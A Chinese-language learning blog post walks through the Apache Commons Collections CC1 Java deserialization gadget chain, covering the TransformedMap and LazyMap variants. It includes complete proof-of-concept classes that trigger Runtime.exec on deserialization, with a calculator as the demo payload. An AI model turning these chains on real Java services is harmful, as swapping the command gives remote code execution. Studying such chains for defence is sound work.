# 前言
前面跟着 p 牛知识星球的文章学习 java 反序列的基础知识,RMI 和 URLDNS 链,现在大概算是勉强看到门?接下来准备开始学习 CommonsCollections 这个系列的利用链,以本篇记录
# Commons Collections
这个 java 库是为了额外提供一些集合类和工具,这些类和工具不是标准的 java 集合框架的一部分,但是它可以更加方便的扩展集合的功能,它的出现主要是因为 java 集合框架的一些不足,使得开发人员更加高效的处理集合数据,它能够创建 “转换后的集合” 这些集合在每个元素被添加到集合中的时自动对其应用指定的转换。
了解一下 Commons Collections 是什么之后,接下来先记录这个过程中涉及到的几个接口和类
# 前置知识
# Transformer
它是 org.apache.commons.collections.Transformer
接口中的一个方法,这个接口定义了一种将输入对象转换为输出对象的策略,常用于函数式编程中,可以视为一个以输入为参数,返回一个输出的函数, Transformer(Object input)
方法方法接收 Object类型的input
,处理后将 Object返回
,这个方法实现定义了转换逻辑
下面是一个使用 Transformer 方法来将字符串列表转换为大写的形式
import org.apache.commons.collections.CollectionUtils; | |
import org.apache.commons.collections.Transformer; | |
import java.util.Arrays; | |
import java.util.List; | |
public class TransformerTest { | |
public static void main(String[] args) { | |
List<String> strings = Arrays.asList("hello", "world"); | |
Transformer transformer = new Transformer() { | |
public Object transform(Object input) { | |
return ((String) input).toUpperCase(); | |
} | |
}; | |
CollectionUtils.transform(strings, transformer); | |
System.out.println(strings); // 输出 [HELLO, WORLD] | |
} | |
} |
# TransformedMap
org.apache.commons.collections.map.TransformedMap 它实现了 java.util.Map
接口,它用来对 Map 中的键或值进行转换,在其构造方法 TransformedMap
中需要有两个参数一个要转换的 Map 对象和两个 Transformer 对象,分别对键和值进行转换,在使用 TransformedMap
时所有的 get,put,remove 方法在调用的时候都会自动调用这个 Transformer 对象
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { | |
return new TransformedMap(map, keyTransformer, valueTransformer); | |
} |
# LazyMap
org.apache.commons.collections.map.LazyMap
提供了一个创建动态生成值的 Map 的方法,它与 TransformedMap 很类似,区别在于 LazyMap 调用 get () 方法的时候,如果传入的 key 不存在的时候会触发相对应的 Transformer 的 transform () 方法
# DefaultedMap
org.apache.commons.collections.map.DefaultedMap
与上面的 LazyMap 方法相同,在调用 get () 方法的时候会自动调用 Transformer 方法
# ConstantTransformer
org.apache.commons.collections.functors.ConstantTransformer
提供了一个始终返回常量值的 Transformer 实现,在初始化的时候存储了一个 Object,这个类用于和 ChainedTransformer
配合,将其结果传入 InvokerTransformer
来调用我们指定的类的指定方法
public class ConstantTransformer implements Transformer, Serializable { | |
private static final long serialVersionUID = 6374440726369055124L; | |
public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object)null); | |
private final Object iConstant; | |
public static Transformer getInstance(Object constantToReturn) { | |
return (Transformer)(constantToReturn == null ? NULL_INSTANCE : new ConstantTransformer(constantToReturn)); | |
} | |
public ConstantTransformer(Object constantToReturn) { | |
this.iConstant = constantToReturn; | |
} | |
public Object transform(Object input) { | |
return this.iConstant; | |
} | |
public Object getConstant() { | |
return this.iConstant; | |
} | |
} |
# InvokerTrabsformer
实现 Transformer 接口的一个类,这个类可以用来 执行任意方法
,这也是反序列化能够执行仍以代码的关键
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { | |
this.iMethodName = methodName; | |
this.iParamTypes = paramTypes; | |
this.iArgs = args; | |
} |
demo:
package Clown_CC1; | |
import org.apache.commons.collections.functors.InvokerTransformer; | |
public class InvokerTransformerTest { | |
public static void main(String[] args) { | |
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"C:\\Windows\\System32\\calc.exe"}); | |
invokerTransformer.transform(Runtime.getRuntime()); | |
} | |
} |
# ChainedTransformer
实现 Transformer 接口的一个类,他的作用是将内部的多个 Transformer 串在一起
public ChainedTransformer(Transformer[] transformers) { | |
this.iTransformers = transformers; | |
} | |
public Object transform(Object object) { | |
for(int i = 0; i < this.iTransformers.length; ++i) { | |
object = this.iTransformers[i].transform(object); | |
} | |
return object; | |
} |
# demo
这里先贴一下 p 牛的代码,我加了一些注释
public static void main(String[] args) throws Exception { | |
Transformer[] transformers = new Transformer[]{// 创建了一个 Transformer 数组 | |
new ConstantTransformer(Runtime.getRuntime()),// 第一个 Transformer 返回 JVM 运行时对象 | |
new InvokerTransformer("exec", new Class[]{String.class}, | |
new Object[]{"C:\\Windows\\System32\\calc.exe"})// 第二个 Transformer 通过 IncokerTransformer 调用 Runtime 的 exec 对象并弹一个计数器 | |
}; | |
Transformer transformerChain = new ChainedTransformer(transformers);// 创建一个 ChainedTransformer 对象,起一个链接作用 | |
Map innerMap = new HashMap();// 创建一个 HashMap 对象 | |
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);// 创建一个 TransformedMap 对象,使用上面的 TransformChain 来修饰 innerMap | |
outerMap.put("test", "xxxx");// 这里调用 put 方法(触发点) | |
} |
这里可以看到,通过 ChainedTransformer 将 ConstantTransformer
和 InvokerTransformer
连接在一起,将 ChainedTransformer
设置为 map
装饰器的处理方法,调用 TransformedMap
的 put()
方法时会触发 Transformer
链的调用方法。
# AnnotationInvocationHandler
上面提到使用这个 put 调用,但是在实际序列化的时候没有办法手工执行这个 put,我们需要去寻找找到类似的写入操作在 readObject 中,这样反序列化的时候就能够成功触发,AnnotationInvocationHandler 就是这样一个类,这里我的 java 版本是 jdk8u65
private void readObject(java.io.ObjectInputStream s) | |
throws java.io.IOException, ClassNotFoundException { | |
s.defaultReadObject(); | |
// Check to make sure that types have not evolved incompatibly | |
AnnotationType annotationType = null; | |
try { | |
annotationType = AnnotationType.getInstance(type); | |
} catch(IllegalArgumentException e) { | |
// Class is no longer an annotation type; time to punch out | |
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream"); | |
} | |
Map<String, Class<?>> memberTypes = annotationType.memberTypes(); | |
// If there are annotation members without values, that | |
// situation is handled by the invoke method. | |
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { | |
String name = memberValue.getKey(); | |
Class<?> memberType = memberTypes.get(name); | |
if (memberType != null) { // i.e. member still exists | |
Object value = memberValue.getValue(); | |
if (!(memberType.isInstance(value) || | |
value instanceof ExceptionProxy)) { | |
memberValue.setValue( | |
new AnnotationTypeMismatchExceptionProxy( | |
value.getClass() + "[" + value + "]").setMember( | |
annotationType.members().get(name))); | |
} | |
} | |
} | |
} |
for (Map.Entry<String, Object> memberValue : memberValues.entrySet())
的 memberValue.setValue
这个地方调用了 set 方法,可以作为触发点
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) { | |
Class<?>[] superInterfaces = type.getInterfaces(); | |
if (!type.isAnnotation() || | |
superInterfaces.length != 1 || | |
superInterfaces[0] != java.lang.annotation.Annotation.class) | |
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); | |
this.type = type; | |
this.memberValues = memberValues; | |
} |
在构造方法中第一个参数是 Annotation 实现类的 class 对象,第二个对象是一个 Map,键为 String,值为 Object,如果 type 对象的父类接口不是唯一的且为 Annotation.class
则不会讲两个参数初始化到对象中
再看上面重写的 readObject 方法,先通过 annotationType = AnnotationType.getInstance(type);
来获取 type 的对应的 AnnotationType
的对象,接着获取 memberTypes
属性接着遍历了它的所有元素,并依次设置值,这里就是 poc 的起点了
这里去要创建一个 AnnotationInvocationHandler 对象,并将前面构造的 HashMap 设置进来
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); | |
Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class); | |
constructor.setAccessible(true); | |
Object obj = constructor.newInstance(Retention.class,outerMap); |
这里 Runtime 类是没有实现 java.io.Serializable 接口的,所以不允许被序列化,p 牛也是给了解决方法通过反射去调用
Method f = Runtime.class.getMethod("getRuntime"); | |
Runtime r = (Runtime) f.invoke(null); | |
r.exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator"); |
编写成 Transformer 的写法
Transformer[] transformers = new Transformer[] { | |
new ConstantTransformer(Runtime.class), | |
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), | |
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), | |
new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"C:\\Windows\\System32\\calc.exe" }), | |
}; |
下面贴一下完整的 poc
# poc_Transformer
package Clown_CC1; | |
import org.apache.commons.collections.Transformer; | |
import org.apache.commons.collections.functors.ChainedTransformer; | |
import org.apache.commons.collections.functors.ConstantTransformer; | |
import org.apache.commons.collections.functors.InvokerTransformer; | |
import org.apache.commons.collections.map.TransformedMap; | |
import java.io.*; | |
import java.lang.annotation.Retention; | |
import java.lang.reflect.Constructor; | |
import java.util.HashMap; | |
import java.util.Map; | |
public class POC1 { | |
public static void Serialization(Object object) throws Exception{ | |
FileOutputStream fileOutputStream = new FileOutputStream("poc1.txt"); | |
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); | |
objectOutputStream.writeObject(object); | |
objectOutputStream.close(); | |
System.out.println("Output"); | |
} | |
public static void Unserialization() throws Exception{ | |
FileInputStream fileInputStream = new FileInputStream("poc1.txt"); | |
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); | |
objectInputStream.readObject(); | |
objectInputStream.close(); | |
System.out.println("Input"); | |
} | |
public static void main(String[] args) throws Exception { | |
Transformer[] transformers = new Transformer[] { | |
new ConstantTransformer(Runtime.class), | |
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), | |
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), | |
new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"C:\\Windows\\System32\\calc.exe" }), | |
}; | |
Transformer transformerChain = new ChainedTransformer(transformers);// 创建一个 ChainedTransformer 对象,起一个链接作用 | |
Map innerMap = new HashMap();// 创建一个 HashMap 对象 | |
innerMap.put("value","xxx"); | |
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);// 创建一个 TransformedMap 对象,使用上面的 TransformChain 来修饰 innerMap | |
// outerMapput ("test", "xxxx");// 这里调用 put 方法(触发点) | |
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); | |
Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class); | |
constructor.setAccessible(true); | |
Object obj = constructor.newInstance(Retention.class,outerMap); | |
Serialization(obj); | |
Unserialization(); | |
} | |
} |
# poc_LazyMap
上面是跟着 p 牛写的链子,这里也是看到 ysoserial 中的 CommonsCollections1 的 payload 中使用的是 LazyMap
LazyMap 和 TransformedMap 类似,都来自于 Common-Collections 库,并继承 AbstractMapDecorator,在 ysoserial 的源码中主要是利用 LazyMap 的 get 这个方法,这里 LazyMap 的作用是 “懒加载”,在 get 找不到值的时候,它会调用 factory.transform 方法去获取一个值
这个 factory 是可控的
相比于 TransformedMap 的利用方法,LazyMap 后续利用稍微复杂一些,原因是在 sun.reflect.annotation.AnnotationInvocationHandler 的 readObject 方法中并没有直接调用到 Map 的 get 方法,所以在 ysoserial 中利用的是 sun.reflect.annotation.AnnotationInvocationHandler 的 invoke 方法
而想要调用这个 invoke 就需要使用到 java 的对象代理
package Clown_CC1; | |
import org.apache.commons.collections.Transformer; | |
import org.apache.commons.collections.functors.ChainedTransformer; | |
import org.apache.commons.collections.functors.ConstantTransformer; | |
import org.apache.commons.collections.functors.InvokerTransformer; | |
import org.apache.commons.collections.map.LazyMap; | |
import java.util.HashMap; | |
import java.util.Map; | |
public class LazyMap_CC1 { | |
public static void main(String[] args) throws Exception{ | |
Transformer[] transformers = new Transformer[]{ | |
new ConstantTransformer(Runtime.getRuntime()), | |
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"C:\\Windows\\System32\\calc.exe"}) | |
}; | |
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); | |
Map innerMap = new HashMap(); | |
Map lazyMap = LazyMap.decorate(innerMap,chainedTransformer); | |
lazyMap.get("test"); | |
} | |
} |
同样上面的是我手动去触发的 get 方法,下面用 java 对象代理来修改完整的 poc 链
package Clown_CC1; | |
import org.apache.commons.collections.ProxyMap; | |
import org.apache.commons.collections.Transformer; | |
import org.apache.commons.collections.functors.ChainedTransformer; | |
import org.apache.commons.collections.functors.ConstantTransformer; | |
import org.apache.commons.collections.functors.InvokerTransformer; | |
import org.apache.commons.collections.map.LazyMap; | |
import java.io.FileInputStream; | |
import java.io.FileOutputStream; | |
import java.io.ObjectInputStream; | |
import java.io.ObjectOutputStream; | |
import java.lang.annotation.Retention; | |
import java.lang.reflect.Constructor; | |
import java.lang.reflect.InvocationHandler; | |
import java.lang.reflect.InvocationTargetException; | |
import java.lang.reflect.Proxy; | |
import java.util.HashMap; | |
import java.util.Map; | |
public class POC2 { | |
public static void Serialization(Object object) throws Exception{ | |
FileOutputStream fileOutputStream = new FileOutputStream("poc2.txt"); | |
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); | |
objectOutputStream.writeObject(object); | |
System.out.println("OutPut"); | |
} | |
public static void Unserialization() throws Exception{ | |
FileInputStream fileInputStream = new FileInputStream("poc2.txt"); | |
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); | |
objectInputStream.readObject(); | |
System.out.println("InPut"); | |
} | |
public static void main(String[] args) throws Exception { | |
Transformer[] transformers = new Transformer[]{ | |
new ConstantTransformer(Runtime.class), | |
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), | |
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), | |
new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"C:\\Windows\\System32\\calc.exe" }), | |
}; | |
Transformer transformerChain = new ChainedTransformer(transformers);// 创建一个 ChainedTransformer 对象,起一个链接作用 | |
Map innerMap = new HashMap();// 创建一个 HashMap 对象 | |
innerMap.put("value","xxx"); | |
Map lazyMap = LazyMap.decorate(innerMap, transformerChain); | |
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); | |
Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class); | |
constructor.setAccessible(true); | |
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class,lazyMap); | |
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), invocationHandler); | |
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, mapProxy); | |
Serialization(handler); | |
Unserialization(); | |
} | |
} |
# 总结分析
这里拿 Transformer 的这个 poc 举例,首先是利用 InvokerTransformer,因为这个函数中的 Transformer 函数实现了 invoke
可以执行方法,利用点找到后回推,寻找一个也调用 Transform 的类,来调用 InvokerTransformer 中的 Transformer 方法,在 TransformedMap 中有一个 checkTransformer
这里调用了 Transform 方法,且这里的 valueTransformer 可控
这里本意是对 Map 的键值通过 Transform 进行一个处理,可以利用,接着寻找哪个类调用了 checksetValue,寻找后发现在 AbstractInputCheckedMapDecorator 有调用
这里 MapEntry 其实就是键值对 MapEntry 中的 setValue 方法其实就是 Entry 中的 setValue 方法,他这里重写了 setValue 方法,所以说只需要遍历就能调用???不确定,可以试一下
package Clown_CC1; | |
import org.apache.commons.collections.Transformer; | |
import org.apache.commons.collections.functors.ChainedTransformer; | |
import org.apache.commons.collections.functors.ConstantTransformer; | |
import org.apache.commons.collections.functors.InvokerTransformer; | |
import org.apache.commons.collections.map.TransformedMap; | |
import java.util.HashMap; | |
import java.util.Map; | |
public class POC3test { | |
public static void main(String[] args) throws Exception { | |
Transformer[] transformer =new Transformer[]{ | |
new ConstantTransformer(Runtime.class), | |
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), | |
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), | |
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) | |
}; | |
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer); | |
HashMap map = new HashMap(); | |
map.put("key","value"); | |
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer); | |
for (Map.Entry entry:transformedMap.entrySet()){ | |
entry.setValue("a"); | |
} | |
} | |
} |
这里可以看到是成功弹出计算器,也就是成功调用了的,那么接下来找到一个遍历数组的地方就可以了这个・最好是 readObject 里面有,或者是通过 readObject 能间接的调用到的,这里是在 AnnotationInvocationHandler 中的 readObject 中直接找到了一个遍历 Map 的功能,这里还有一个 setvalue 方法,这就很符合我们的需求,这里因为它不是 public 类,这里需要通过反射区获取
看一下构造方法,第一个参数是一个集成了 Annotation 的一个泛型,Annotation 是注解,第二个是 Map
在循环中还有两个判断需要注意一下,它首先获取了传入注解的成员变量,然后用键值对的 key 在成员变量中查找,要不为空,所以我传入了 Retention 注解,其中有一个 value
然后将 map 的键值改为 value,然后判断能不能强转,这个地方肯定是能够进入的,但是最后的 value 是我们不能直接控制的,我们需要将 value 给为 Runtime.class 这里是需要使用 ConstantTransformer 这个类去间接改变 value 的值
这样讲传入的值设定后能够成功调用
最后整个流程